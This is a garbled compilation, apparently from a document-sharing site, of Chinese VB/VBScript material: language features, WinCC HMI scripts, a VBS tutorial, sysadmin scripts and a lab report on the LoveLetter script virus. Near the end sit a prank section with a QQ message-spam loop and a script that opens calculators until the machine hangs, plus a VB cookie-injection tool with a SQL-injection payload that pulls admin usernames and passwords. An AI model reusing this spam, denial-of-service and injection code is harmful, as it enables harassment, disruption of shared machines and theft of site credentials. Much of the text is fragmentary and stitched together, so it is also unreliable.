vb特点

1．面向对象

VB采用了面向对象的程序设计思想。它的基本思路是把复杂的程序设计问题分解为一个个能够完成独立功能的相对简单的对象集合，所谓“对象”就是一个可操作的实体，如窗体、窗体中的命令按钮、标签、文本框等。面向对象的编程就好像搭积木一样，程序员可根据程序和界面设计要求，直接在屏幕上“画"出窗口、菜单、按钮等不同类型的对象，并为每个对象设置属性。

2．事件驱动

在Windows环境下，程序是以事件驱动方式运行的，每个对象都能响应多个不同的事件，每个事件都能驱动一段代码——事件过程，该代码决定了对象的功能。通常称这种机制为事件驱动。事件可由用户的操作触发，也可以由系统或应用程序触发。例如，单击一个命令按钮，就触发了按钮的Click(单击)事件，该事件中的代码就会被执行。若用户未进行任何操作(未触发事件)，则程序就处于等待状态。整个应用程序就是由彼此独立的事件过程构成。

3．软件的集成式开发

VB为编程提供了一个集成开发环境。在这个环境中，编程者可设计界面、编写代码、调试程序，直至把应用程序编译成可在Windows中运行的可执行文件，并为它生成安装程序。VB的集成开发环境为编程者提供了很大的方便。

4．结构化的程序设计语言

VB具有丰富的数据类型，是一种符合结构化程序设计思想的语言，而且简单易学。此外作为一种程序设计语言，VB还有许多独到之处。

5．强大的数据库访问功能

VB利用数据控件可以访问多种数据库，VB 6．O提供的ADO控件，不但可以用最少的代码实现数据库操作和控制，也可以取代Data控件和RDO控件。

6．支持对象的链接与嵌入技术

VB的核心是对对象的链接与嵌入(OLE)技术的支持，它是访问所有对象的一种方法。利用OLE技术，能够开发集声音、图像、动画、字处理、Web等对象于一体的程序。

7．网络功能

VB 6．O提供了DltTML(Dynamic}tTML)设计工具。利用这种技术可以动态创建和编辑Web页面，使用户在VB中开发多功能的网络应用软件。

8．多个应用程序向导

VB提供了多种向导，如应用程序向导、安装向导、数据对象向导和数据窗体向导，通过它们可以快速地创建不同类型、不同功能的应用程序。

9．支持动态交换、动态链接技术．

通过动态数据交换(DDE)的编程技术，VB开发的应用程序能与其他Windows应用程序之间建立数据通信。通过动态链接库技术，在VB程序中可方便地调用用C语言或汇编语言编写的函数，也可调用Windows的应用程序接口(．API)函数。

lO．联机帮助功能

在VB中，利用帮助菜单和F1功能键，用户可随时方便地得到所需要的帮助信息。VB帮助窗口中显示了有关的示例代码，通过复制、粘贴操作可获取大量的示例代码，为用户的学习和使用提供方便。

VB函数大全_基本函数大全

VB函数大全_基本函数大全 Abs 函数返回数的绝对值。 And 运算符执行两个表达式的逻辑连接。 Array 函数返回含一数组的变体。 Asc 函数返回字符串首字母的ANSI 字符代码。 赋值运算符(=) 给变量或属性赋值。 Atn 函数返回数的反正切值。 调用语句将控制移交Sub 或Function 过程。 CBool 函数返回已被转换为Boolean 子类型的变体的表达式。 CByte 函数返回已被转换为字节子类型的变体的表达式。 CCur 函数返回已被转换为货币子类型的变体的表达式。 CDate 函数返回已被转换为日期子类型的变体的表达式。 CDbl 函数返回已被转换为双精度子类型的变体的表达式。 Chr 函数返回指定ANSI 字符码的字符。 CInt 函数返回已被转换为整数子类型的变体的表达式。 Class 对象提供对已创建的类的事件的访问。 Class 语句声明类名 Clear 方法清除Err 对象的所有属性设置。 CLng 函数返回已被转换为Long 子类型的变体的表达式。 颜色常数颜色常数列表。 比较常数用于比较运算的常数列表。 连接运算符(&) 强制两个表达式的字符串连接。 Const 语句声明用于字母值的常数。 Cos 函数返回角度的余弦值。 CreateObject 函数创建并返回对“自动”对象的引用。 CSng 函数返回已被转换为单精度子类型的变体的表达式。 CStr 函数返回已被转换为字符串子类型的变体的表达式。 日期和时间常数在日期和时间运算中用来定义星期几和其他常数的常数列表。日期格式常数用于日期和时间格式的常数列表。 Date 函数返回当前系统日期。 DateAdd 函数返回加上了指定的时间间隔的日期。 DateDiff 函数返回两个日期之间的间隔。 DatePart 函数返回给定日期的指定部分。 DateSerial 函数返回指定年月日的日期子类型的变体。 DateValue 函数返回日期子类型的变体。 Day 函数返回日期，取值范围为1 至31。 Description 属性返回或者设置说明某个错误的字符串。 Dictionary 对象存储数据键、项目对的对象。 Dim 语句声明变量并分配存储空间。 除法运算符(/) 两数相除并以浮点数格式返回商。 Do...Loop 语句当条件为True 或者当条件变为True 时，重复一语句块。Empty 表示尚未初始化的变量值。 Eqv 运算符使两个表达式相等。 Erase 语句重新初始化固定数组的元素并重新分配动态数组的存储空间。 Err 对象含有关于运行时错误的信息。 Eval 函数计算并返回表达式的值。 Execute 方法根据指定的字符串，执行正则表达式的搜索。 Execute 语句执行单个或更多的指定语句。 Exit 语句退出Do...Loop、For...Next、Function 或Sub 代码块。 Exp 函数返回e （自然对数的底）的多少次方。 自乘运算符(^) 指数函数，幂为自变量。 False 关键字，其值为零。

VB编程实例

一、导入到Xls文件并打印 Sub OnLButtonUp(ByVal Item, ByVal Flags, ByVal x, ByVal y) Dim a,fso a=HMIRuntime.Tags("fileName").Read Set fso = CreateObject("scripting.filesystemobject") If fso.FileExists("C:\Model.xls") Then Dim objExcelApp Set objExcelApp = CreateObject("Excel.Application") objExcelApp.Visible = False objExcelApp.Workbooks.Open "C:\Model.xls" objExcelApp.Cells(2, 3).Value = HMIRuntime.Tags("NewTag1_1").read objExcelApp.Cells(4, 5).Value = HMIRuntime.Tags("NewTag1_2").read objExcelApp.Cells(6, 7).Value = HMIRuntime.Tags("NewTag1_3").read objExcelApp.Cells(8, 9).Value = HMIRuntime.Tags("NewTag1_4").read objExcelApp.Cells(10, 11).Value = HMIRuntime.Tags("NewTag1_5").read objExcelApp.ActiveWorkbook.SaveAs("C:\Report\"&CStr(a)&".xls") objExcelApp.ActiveWorkbook.PrintOut

vb脚本

附录B.VBScript脚本函数简介 序号 内容 画面脚本全局脚本 页码 B01 运行数据库 33 3 B02 动态画面 337 B03 实时报表 337 B04 变量报警 337 B05 系统信息 339 B06 配方文件 339 B07 系统操作 3310 B08 当前时间 3311 B09 画面属性(1) 3°11 B10 线/矩形/圆形 3°13 B11 文本/变量 3°15 B12 多边形 3°16 B13 折线 3°19 B14 立体图形 3°20 B15 普通按钮 3°21 B16 圆形按钮 3°22 B17 三角按钮 3°23 B18 图标按钮 3°24 B19 定时器 3°25 B20 位图 3°25 B21 多选框 3°25 B22 单选框 3°26 B23 动画 3°26 B24 信息列表 3°26 B25 用户数据库 3327 B26 SQL命令 3329 B27 用户报表 3329 B28 流动管道 3°30 B29 子画面窗口 3°30 B30 转轮 3°31 B31 标签 3°31 B32 列表框 3°32 B33 数据库连接 3332 B34 配方操作按钮 3°32 B35 报表打印按钮 3°33

B36 报警状态按钮 3°33 B37 系统信息查询按钮 3°34 B38 报警信息查询按钮 3°34 B39 存档数据查询按钮 3°34 B40 存档曲线查询按钮 3°34 B41 用户管理 3334 B42 子窗口容器 3°35 B43 Gif图片 3°35 B44 实时曲线 3°35 B45 屏幕打印 3°36 B46 画面操作(2) 3°36 B47 行打印 3337 B48 INI文件 3338 B49 数据转换 3339 B50 数据库查询按钮 3°39 B51 串口操作 3340 B52 数据库列表 3°41 B53 报警状态列表 3°41 B54 表格控件 3°42 B55 保留 3°43 B56 数据选择 3°43 B57 选择框 3°44 B58 选择列表 °°44 B59 自定义菜单 3°44 B60 字符串 3°45 B61 时间间隔 3°46 B62 存储过程 3346 B63 曲线查询按钮 3°47 B64 窗口操作 3°48 B65 文件操作 3352 B66 文本文件 3353 B67 TCP通讯 3354 B68 UDP通讯 3355 B69 MSN信息 3°56

VBS脚本参考

VBS脚本参考之一——使用连字符2007年06月14日星期四下午08:35前言 这一章的前半部分介绍了VB 脚本最基本的概念，并且告诉你它可以完成的工作，尤其是VBS和其它的如WMI、ADSI 接合在一起的时候。后半部分主要介绍了VBS对系统管理员更有用的部分。 许多脚本和程序语言在向文本输入的时候并不严格的遵守文本的行。例如，尽管下面这个JS 脚本写了很多行，但是，JS 把它当做一行来处理。这是因为，在大部分的时候，JS 只有看到中止符的时候才认为使一个行的中止。在这个例子中，中止符就是“；”。在实际中敲入的行是和脚本本身不相关的。 var 作者：临汾市外事旅游局薛靖澜，转载请注明出处] objWMI =new Enumerator (GetObject("winmgmts:") . InstancesOf("Win32_process")) ; 正好相反，同样的一段代码，用VB 写的时候就会报一个语法错误。 Set objWMI = (GetObject("winmgmts:") . InstancesOf("Win32_process")) 这是因为，VBS用回车键来代替特定的中止符。为了中止一个VB脚本，你不需要来敲入一个分号或者其它的特殊的符号，你只需要敲回车键就好了。一般来讲，不用中止符的限制，使VBS 在编写的过程中变的简单，但是也有一点会有些复杂。为了增强程序的可读性，建

议每行的最大长度不超过80个字符。那么当你的一行代码中有100 个字符，怎么办呢？尽管看来好象有个很简单的解决办法，但是你不能用回车键来将一行代码分隔成很多行。例如如下的代码片断会返回一个VB 运行错误因为它用回车键来分隔脚本 strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, strCurrentStatus Wscript.Echo strMessageToDisplay 你不能用回车建来换行，因为在VB 中它认为回车是代表一段代码的中止，在上面的代码中，它认为第一行是脚本的第一部分陈述内容。然后认为第二行是另外一部分陈述内容。这样因为strCurrentStatus 不是一个VBS的命令，所以就报错了。为了解决这个问题，VB 脚本用下划线来表示下面一行是上面一行的代替。在VB 的早期修订版本中，在第一行末尾加一个空格和一个下划线来表示第二行是第一行的继续。为更明确的表明这个意思，第二行前面要加四个空格。（这样作是为了可读，你其实不必在继续的行前作特定的标识──就是不用在第二行前加四个空格。）作者：临汾市外事旅游局薛靖澜，转载请注明出处] strMessageToDisplay = strUserFirstName, strUserMiddleInitial, strUserLastName, _ strCurrentStatus Wscript.Echo strMessageToDisplay 当继续的行又引号的时候，它就显的特别复杂。例如，架设你用下划线和空格来分隔一个WMI脚本： Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM _ Win32_Service WHERE State = 'Stopped' AND StartMode = 'Auto' ") 如果你运行这个脚本，它会弹出一个错误，因为继续换行符放在了引号中间了，这样它就认为换行符是字符串的一部分。为了分隔这个陈述： 1：在第一行用引号中止，然后插入空格和下划线 2：用and(&)符号来开始下一行，这表示第二行是第一行字符串的继续 3：在下一行开始之前加入引号这些引号表示这些陈述是包涵在上面的一行中的，没有了引号，它就VB就解释Win32_Service 是VB 的陈述语句，因为这个语句不是合法的，所以就产生了错误。修正的版本如下： Set colServiceList = GetObject("winmgmts:").ExecQuery("SELECT * FROM " _

VB操作wincc脚本心得

Vbs 操作wincc画面脚本总结 一：不使用变量单纯的操作界面 1.操作某个画面中控件的属性如Home1.Pdl（总窗体）下的画面窗口2（画面窗口） Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) objCircle.Radius = 60 Set screenname=HMIRuntime.Screens("Home1") //获取要操作的窗体 Set pwname=screenname.ScreenItems("画面窗口2") //获取要操作的控件，这里填入你要操作的控件名 MsgBox(objCircle.Radius) //输出圆的半径 MsgBox (pwname.Picturename) //输出当前画面窗口2的名字 End Sub 注意当调用某窗体下的某控件的某个属性时,需要声明两个对象，一个接纳这个控件，一个接纳值例如 Dim object Dim value Set object =HMIRuntime.Screens("Home1").ScreenItems("画面窗口2") Set value=object.picturename 2.更改画面窗口的对象 Sub OnClick(Byval Item) Dim opObject Set opObject=HMIRuntime.Screens ("Home1").ScreenItems("画面窗口2") opObject.PictureName="Page1.Pdl" End Sub 3.设置文本 Set titleTxt=HMIRuntime.Screens ("Home1").ScreenItems("静态文本2") titleTxt.Text =titleTxt.Text+"EF" //获取文本的值并追加字符 4.vb 字符串函数 VB的字符串截取函数有Left（字符串，n），返回字符串前N个字符；Mid（字符串，p，n），从第p个字符开始，向后截取N个字符；right（字符串，n），返回字符串的最后n个字符。 获取下标

VB脚本处理字符串注意事项

在处理脚本中的字符串时应该注意什么？
组态注意事项： 下面说明了关于在 C 脚本中处理字符串时最重要的问题。必须考虑性能和稳定性因素。在不一致时，内存区可能被覆写，从而使系统 锁死 。 最坏的情况出现在字符指针。如果指针设计不当，内存区可能被覆写。下面是有关错误和正确组态的四个样例。
No. 描述: 1
没有预留内存区： char *a; a=GetTagChar("Tag name");
strcat(a,"xyz"); //有一个连接到文本的指针“a” //没有预留内存区
?
正确： 通过查询有效的指针将字符串正确复制到预定义的缓冲器中(来自描述 WinCC 信息系统的样例)： char* pszValue = NULL; char szValue[101]; pszValue = GetTagChar("Varname"); //读标签值并将其缓存到 pszValue。
/*如果返回一个有效值， 将该函数返回值存入局部字符串 szValue 中。 最多保存 100 个字符。*/ if(pszValue !=NULL) //!=NULL 是必须执行的检查 //以便保证没有 NULL 指针提交 { strncpy(szValue,pszValue,100); ... } else { printf("Pointer invalid\r\n"); //使用了无效值} }
?
2 没有预留足够的内存区： 通常，由于预留的内存区太小导致内存被覆写。在这些情况下，通常在 C 中进行字符串处理时，文本结尾的一个附加字符必须始 终被保留。也就是说，必须要比被处理的文本长度多预留出一个字符。
?
错误： char a[4]; strcpy(a,"1234"); //总是有 4 个字符被复制到一个 4 字符的数组中； // 错误：文本的结尾字符被遗漏
?
正确： char a[5];

后台自动登录网页vb脚本实例代码

set IE=createobject("Internetexplorer.application") IE.Visible = True IE.Navigate "https://https://www.wendangku.net/doc/557784720.html,/login.htm" ‘等待网页加载完成 While IE.busy Or IE.readystate<>4 Wend '从网页元素中找到设置的元素，并赋值 '因为form没有name或id，只能从document的collection里取forms集合 '再从中定位输入框和提交按钮 IE.Document.Forms(0).elements("name").value = "aaaa" IE.Document.Forms(0).elements("passwd").value = "1111" IE.Document.Forms(0).elements("Send").click '登录后界面是框架结构，先等主框架加载完成 While IE.busy Or IE.readystate<>4 Wend '等框架内网页1加载完成 While IE.busy Or IE.Document.Frames(1).document.readystate<>"complete" Wend '点击一个图片按钮/链接，需要先定位到框架内，再从document的collection里取images集合IE.Document.Frames(1).document.images(3).click '等主框架加载完成 While IE.busy Or IE.readystate<>4 Wend '等框架内网页2加载完成 While IE.busy Or IE.Document.Frames(2).document.readystate<>"complete" Wend '定位select控件，并作出选择

实验4 VB脚本病毒.

XI`AN TECHNOLOGICAL UNIVERSITY 实验报告

实验目的 1.了解VB脚本病毒的工作原理 2.了解VB脚本病毒常见的感染目标和感染方式 3.掌握编写VB脚本病毒专杀工具的一般方法 实验原理 一．脚本病毒概述 脚本程序的执行环境需要WSH（WINDOWS SCRIPT HOST，WINDOWS脚本宿主）环境，WSH为宿主脚本创建环境。即当脚本到达计算机时，WSH充当主机的部分，它使对象和服务可用于脚本，并提供一系列脚本执行指南。 脚本病毒的主要特点： （1）由于脚本是直接解释执行，可以直接通过自我复制的方式感染其它同类文件，并且使异常处理变得非常容易。 （2）脚本病毒通过HTML文档、EMAIL附件或其它方式，可以在很短的时间内传遍世界各地，通常是使用在邮件附件中安置病毒本体的方法，然后利用人们的好奇心，通过邮件主题或邮件内容诱骗人们点击附件中的病毒体而被感染。 （3）新型的邮件病毒邮件正文即为病毒，用户接收到带毒邮件后，即使不将邮件打开，只要将鼠标指向邮件，通过预览功能病毒也会被自动激活。 （4）病毒源码容易被获取，变种多。 （5）欺骗性强。 二．爱虫病毒分析 1．病毒简介 “爱虫”（VBS.LOVELETTER）病毒从2000年5月4日开始在欧洲大陆迅速传播，并向全世界蔓延。其传播原理是通过MICROSOFT OUTLOOK将名为“LOVE-LETTER-FOR-YOU.TXT.VBS”的邮件发送给用户地址薄里所有的地址。 当病毒运行后会在系统中留下以下文件： （1）\WINDOWS\WIN32DLL.VBS； （2）\SYSTEM\MSKERNEL.VBS； （3）\SYSTEM\LOVE-LETTER_FOR_YOU.TXT.VBS。 2．病毒的杀毒步骤 （1）在WINDOWS下查看进程列表中是否有WSCRIPT这个文件，如有此文件说明已经感染。将该文件“结束任务”。 （2）进入C:\WINDOWS\SYSTEM中，运行MSCONFIG.EXE选择“启动”模板，将所有的后缀为“*.VBS”的文件选择为禁用状态。 （3）在保证内存中无WSCRIPT这个文件后，重启计算机。 （4）查找一个叫WIN-BUGFIX.EXE的文件并删除它，如果安装了MIRC则删除SCRIPT.INI文件，删除含LOVE-LETTER-FOR-YOU.TXT附件的EMAIL。 （5）打开注册表编辑器并删除下列键值： 3．病毒各模块功能介绍 爱虫病毒的结构化做得很好，各个模块功能非常独立，彼此并不相互依赖，流程也非常清楚，下面对每个函数过程的功能作一简单介绍。 （1）MAIN 爱虫病毒的主模块，它集成调用其它各个模块。

WinCC上可以很方便的编写VB脚本和C脚本

WinCC上可以很方便的编写VB脚本和C脚本，但是调试起来还是比较费劲的。下面介绍一下个人的应用体会。 1，VB，最好安装VB6，先在VB6里面编写程序，然后再放到WinCC的脚本中，事半功倍，毕竟VB的调试非常方便。 a，插入引用 注意选择OLE Automation 和WinCC *****； b，可以直接在VB里面调用WinCC的全部变量，内部，外部全可以： 如下： c，在VB里面监视WinCC的变量：

d，调试完毕，程序拷贝到WinCC的脚本中。 2，C语言 系统提供了一个应用程序窗口，如下，只要把他拖到画面窗口即可： 2，使用Printf函数，把需要调试的内容打印出来；

3，效果如下： 希望对大家有点用处。 下面内容来自网络，感谢原文作者。 https://www.wendangku.net/doc/557784720.html,/link?url=vEykUwJBHY3kamu6EGqrO8WX1XVc6_IMz Rfnfkcwe5JpmjmPLUHmsod1xIDeQUpd1MJgUMD9IlS8bcIsH6GWpHwjuq76 wAjG6NjSkndSrQK Vbs操作wincc画面脚本总结 一：不使用变量单纯的操作界面 1.操作某个画面中控件的属性如Home1.Pdl（总窗体）下的画面窗口2（画面窗口） Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) objCircle.Radius = 60 Set screenname=HMIRuntime.Screens("Home1") //获取要操作的窗体 Set pwname=screenname.ScreenItems("画面窗口2") //获取要操作的控件，这里填入你要操作的控件名 MsgBox(objCircle.Radius) //输出圆的半径

动态网页制作vb脚本字符串的处理

动态网页制作vb脚本字符串的处理 运城学院实验报告 课程名称：动态网页制作实验项目：用VBScript 实现对字符串的处理实验地点：软三实验室时间：2011-4-21 指导老师：王琦学号：2009100145 实验类型：综合型一、实验目的及要求 1.目的：（1）熟练掌握和应用VBScript 脚本语言的基础知识。（2）VBScript 的基本数据类型、运算符和表达式。（3）熟练掌握VBScript 流程控制语句、函数和子函数。（4）熟练掌握 VBScript 对象和事件的处理方法以及对一些实际问题的解决。（5）学习VBScript 中调试和纠错的方法。 2.要求：（1）用数组实现对身份证信息的存储（2）用VBScript 脚本语言实现程序设计和运行。二、实验内容用VBScript 脚本语言实现身份证查询系统（1）应用VBScript 的Sub 过程函数（无返回值）。例如： sub btnOK_onClick() …… End sub （2）应用字符串函数实现MID 和LEN 实现对字符串的截取和长度的计算。例如：Mid(“运城学院”，1,2)=”运城”；Len(“你好！”)=3；（3）应用数据类型判别函数IsNumeric 判断是否字符串全为数字。例如：else if not IsNumeric(form1.txtId.value) Then document.form1.elements(0).focus() MsgBox"身份证号码中不能有字母！" Exit sub （4）应用trim()函数判断身份证的输入中是否为空。例如： if Trim(form1.txtId.value)=Empty Then document.form1.elements(0).focus() MsgBox"身份证号不能为空！" Exit sub （5）应用数组实现信息的存储。例如：运城学院实验报告（续） dim sfzBM(3) dim sfzGSD(3) sfzBM(0)="142732" sfzGSD(0)="山西省运城地区平陆县" ...... （5）document 对象的应用。例如：IdCard=document.getelementbyid("txtId").value （6）for 循环的使用 for i=0 to ubound(sfzBM) if sfzBM(i)=mid(IdCard,1,6) then msg="归属地：" & sfzGSD(i) & " " （7）应用DreamWeaver 制作表单及系统的制作。（8）应用VBScript 的纠错处理处理网页中的错误。三、实验代码 身份证查询程序 请输入 18 位身份证号：： 四、实验总结 1、对 VBScript 有了更进一步的掌握，把学过的知识重新复习了一遍，并且利用到了实际的应用中。 2、对VBScript 中的函数的编写不够熟练。 3、对系统中的的一些关于数值进行限制的代码的编写不够熟练。 4、应该更好的利用网络资源和增强与同学相互交流的能力。运城学院实验报告（续） 1、正确的结果 2、身份证号码不合法 3、身份证号不能为空 4、身份证号码错误，请重新输入！ 5、身份证中不能有字母

WINCC动画脚本动态实例

WINCC动画脚本 电机风扇旋转（几何---起始角度）： #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static DWORD f=20; if (GetTagBit("DI电机运行信号")) { f= f+30; if (f==360) (f=0); } return f; } 电机风扇旋转（几何---结束角度）： #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static DWORD i=80; if (GetTagBit("DI电机运行信号")) { i = i+30; if (i==360) (i=0); } return i; } **物料水平右移动（几何---位置X）（停车后，物料回到原点）** #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static int a=350; if (GetTagBit("DI电机运行信号") && (a<=730)) { a+=20; if (a>=720) (a=350); } if (!GetTagBit("DI电机运行信号")) (a=350); return a; } 物料水平右移动（几何---位置X）（停车后，物料停在该点） #include "apdefap.h" long _main(char* lpszPictureName, char* lpszObjectName, char* lpszPropertyName) { static int a=350; if (GetTagBit("DI电机运行信号") && (a<=730)) { a+=20; if (a>=720) (a=350); } return a;

什么是_vb脚本

什么是_vb脚本 飞越网络VBScript教程 我想我要的很简单,一个是可以自动增加的 表格,另一个是初始页面的密码校验,后来 的 1、什么是 VBScript, .............................................................. (3) 1.1、易学易 用 ..................................................................... . (3) 1.2、ActiveX Script ................................................................. .. (4) 1.3、其他应用程序和浏览器中的 VBScript .............................................................. 4 2、在 HTML 页面中添加 VBScript 代 码 ..................................................................... (4) 3、VBScript 数据类 型 ..................................................................... .. (6)

3.1、什么是 VBScript 数据类 型, .................................................................... . (6) 3.2、Variant 子类 型 ..................................................................... ...................................... 7 4、VBScript 变 量 ..................................................................... .. (8) 4.1、什么是变 量, .................................................................... .. (8) 4.2、声明变 量 ..................................................................... . (9) 4.3、命名规 则 ..................................................................... . (9) 4.4、变量的作用域与存活 期 ..................................................................... . (9) 4.5、给变量赋值...................................................................... (10)

WinCC上可以很方便的编写VB脚本和C脚本

1，VB，最好安装VB6，先在VB6里面编写程序，然后再放到WinCC的脚本中，事半功倍，毕竟VB的调试非常方便。 a，插入引用 注意选择OLE Automation 和WinCC *****； b，可以直接在VB里面调用WinCC的全部变量，内部，外部全可以： 如下： c，在VB里面监视WinCC的变量： d，调试完毕，程序拷贝到WinCC 的脚本中。 2，C语言 系统提供了一个应用程序窗口，如下，只要把他拖到画面窗口即可： 2，使用Printf函数，把需要调试的内容打印出来； 3，效果如下： 希望对大家有点用处。 下面内容来自网络，感谢原文作者。 操作wincc画面脚本总结 一：不使用变量单纯的操作界面 1.操作某个画面中控件的属性如（总窗体）下的画面窗口2（画面窗口）

Sub OnClick(ByVal Item) Dim objCircle Dim screenname Dim pwname Set objCircle= ScreenItems("圆1" ) = 60 Set screenname=("Home1") creenItems("画面窗口2") Set value= 2.更改画面窗口的对象 Sub OnClick(Byval Item) Dim opObject Set opObject= ("Home1").ScreenItems("画面窗口2") ="" End Sub 3.设置文本 Set titleTxt= ("Home1").ScreenItems("静态文本2") =+"EF" //获取文本的值并追加字符 字符串函数 VB的字符串截取函数有Left（字符串，n），返回字符串前N个字符；Mid（字符串，p，n），从第p个字符开始，向后截取N个字符；right（字符串，n），返回字符串的最后n个字符。 用WinCC读取VB的数据的方法一（DDE） 中的步骤： 1、新建一个“标准EXE”工程 2、设置窗体Form1的LinkMode属性为1 - Source, 一定要设定为1 3、在Form1上添加一个文本框控件Text1，将其Text属性设为text1 4、保存工程：工程名为 5、生成 WinCC的步骤： 1、新建一单用户项目 2、在变量管理器中添加Windows DDE驱动 3、在DDE下新建连接NewConnection，在其属性对话框中：

VBS脚本实例

VBS脚本实例 说明： 本文中所列出的脚本实例，均为本人因日常工作需要所写，已在生产环境中验证并使用（参数请自行修改），希望可以帮到有需要的人。但本人并非非常熟悉VBS脚本，属于现学现卖的，欢迎批评指正或是与VBS/PowerShell脚本相关的技术交流。谢谢！ 1AD相关 1.1迁移用户/计算机到指定OU ************************************************************************************** on error resume next Set fso = CreateObject("Scripting.FileSystemObject") Set basefile =fso.OpenTextFile("C:\base.txt",1) Set WSshell=CreateObject("Wscript.shell") Do Until basefile.AtEndOfLine = -1 '读取txt文件，直到最后一行结束 base = basefile.ReadLine comm = "cmd /c echo " & base & " >>C:\resualt.txt" WSshell.run comm,0,true If fso.fileexists("C:\" & base & ".txt") Then '判断是否有指定OU的txt文件 Set file=fso.OpenTextFile("C:\" & base & ".txt",1) '打开文件 Count = 0 ErrorCount = 0 disabledCount = 0

常用vbs脚本

1 VBS VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识，现在大家对它也开始重视起来。VBS代码在本地是通过Windows Script Host(WSH)解释执行的。VBS脚本的执行离不开WSH，WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH，用户能够操纵WSH 对象、ActiveX对象、注册表和文件系统。在Windows 2000下，还可用WSH来访问Windows NT活动目录服务。 用VBS编写的脚本程序在窗口界面是由文件解释执行的，在字符界面由文件解释执行。是一个脚本语言解释器，正是它使得脚本可以被执行，就象执行批处理一样。关于VBS大家一定比我熟悉多了，所以再不废话，直接进入主题，看看我总结的VBS在系统安全中的八则妙用吧。 一、给注册表编辑器解锁 用记事本编辑如下内容： DIM WSH SET WSH=("") ’击活对象 ("解锁注册表编辑器!") ’显示弹出信息“解锁注册表编辑器!” "HKCU/Software/Microsoft/Windows/CurrentVersion /Policies/System/DisableRegistryTools",0,"REG_DWORD" ’给注册表编辑器解锁 ("注册表解锁成功!") ’显示弹出信息“注册表解锁成功!” 保存为以.vbs为扩展名的文件，使用时双击即可。 二、关闭Win NT/2000的默认共享 用记事本编辑如下内容： Dim WSHShell’定义变量 set WSHShell=CreateObject("") ’创建一个能与操作系统沟通的对象WSHShell Dim fso,dc Set fso=CreateObject("")’创建文件系统对象 set dc= ’获取所有驱动器盘符 For Each d in dc Dim str ("net share"& &"$ /delete")’关闭所有驱动器的隐藏共享 next ("net share admin$ /delete") ("net share ipc$ /delete")’关闭admin$和ipc$管道共享 现在来测试一下，先打开，输入net share命令就可以看到自己机子上的共享。双击执行后，会看见窗口一闪而过。然后再在cmd里输入net share命令，这时候没有发现共享列表了三、显示本机IP地址 有许多时候，我们需要知道本机的IP地址，使用各种软件虽然可以办到，但用VBS脚本也非常的方便。用记事本编辑如下内容： Dim WS Set WS=CreateObject("")

VB整人程序代码大全

vbs整人代码大** 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell

VB编写的Cookie注入工具实例

VB编写Cookie 注入工具实例 作者穿山甲2008年1月 很早以前用VB写的cookie注入工具实例，放在柜里实在可惜，发来供VB友人共享，源程序也午网上还有，找不到的联系QQ:182442687索取 一、界面： 控件：3个label、8个text、4个Command 原理：主要利用webbrowser提交javascript语句（WebBrowser1.Navigate Text8.Text），更改当前cookie，然后刷新页面cookie值（WebBrowser1.Refresh） 利用语句：javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) ---------------------------------------------------------------------------------------------------------------------- 二、代码： Private Sub Command2_Click() WebBrowser1.Navigate text1.Text '打开网站 End Sub Private Sub Command1_Click() Text2.Text = WebBrowser1.Document.cookie '获得当前面cookie值，并将值赋给text2.text

End Sub Private Sub Command3_Click() '主要利用语句:javascript:alert(document.cookie="id="+escape("52 and 1=l union select 1,username,password,4,5,6,7,8,9,10 from admin")) Text8.Text = Text4.Text + Text5.Text + Text6.Text + Text3.Text + Text7.Text WebBrowser1.Navigate Text8.Text '提交cookie脚本，给ID赋值 End Sub Private Sub Command4_Click() On Error Resume Next WebBrowser1.Refresh '刷新页面，进行cookie注入 End Sub '下面是自适应窗体大小调整： '调整后的宽度text1.width = text1.width原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的高度text1.height = text1.height原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) '调整后的左距text1.left = text1.left原值/ form1.scalewidth原值* 调整后的窗体宽度(Form1.ScaleWidth) '调整后的上距text1.top = text1.top原值/ form1.scaleheight原值* 调整后的窗体高度(Form1.Scaleheight) Private Sub Form_Resize() text1.Width = 7695 / 10665 * Form1.ScaleWidth text1.Height = 375 / 7995 * Form1.ScaleHeight text1.Left = 1320 / 10665 * Form1.ScaleWidth text1.Top = 180 / 7995 * Form1.ScaleHeight Text2.Width = 7695 / 10665 * Form1.ScaleWidth Text2.Height = 375 / 7995 * Form1.ScaleHeight Text2.Left = 1320 / 10665 * Form1.ScaleWidth Text2.Top = 780 / 7995 * Form1.ScaleHeight Text3.Width = 5895 / 10665 * Form1.ScaleWidth Text3.Height = 375 / 7995 * Form1.ScaleHeight Text3.Left = 3120 / 10665 * Form1.ScaleWidth Text3.Top = 1320 / 7995 * Form1.ScaleHeight Text5.Width = 795 / 10665 * Form1.ScaleWidth Text5.Height = 375 / 7995 * Form1.ScaleHeight Text5.Left = 1320 / 10665 * Form1.ScaleWidth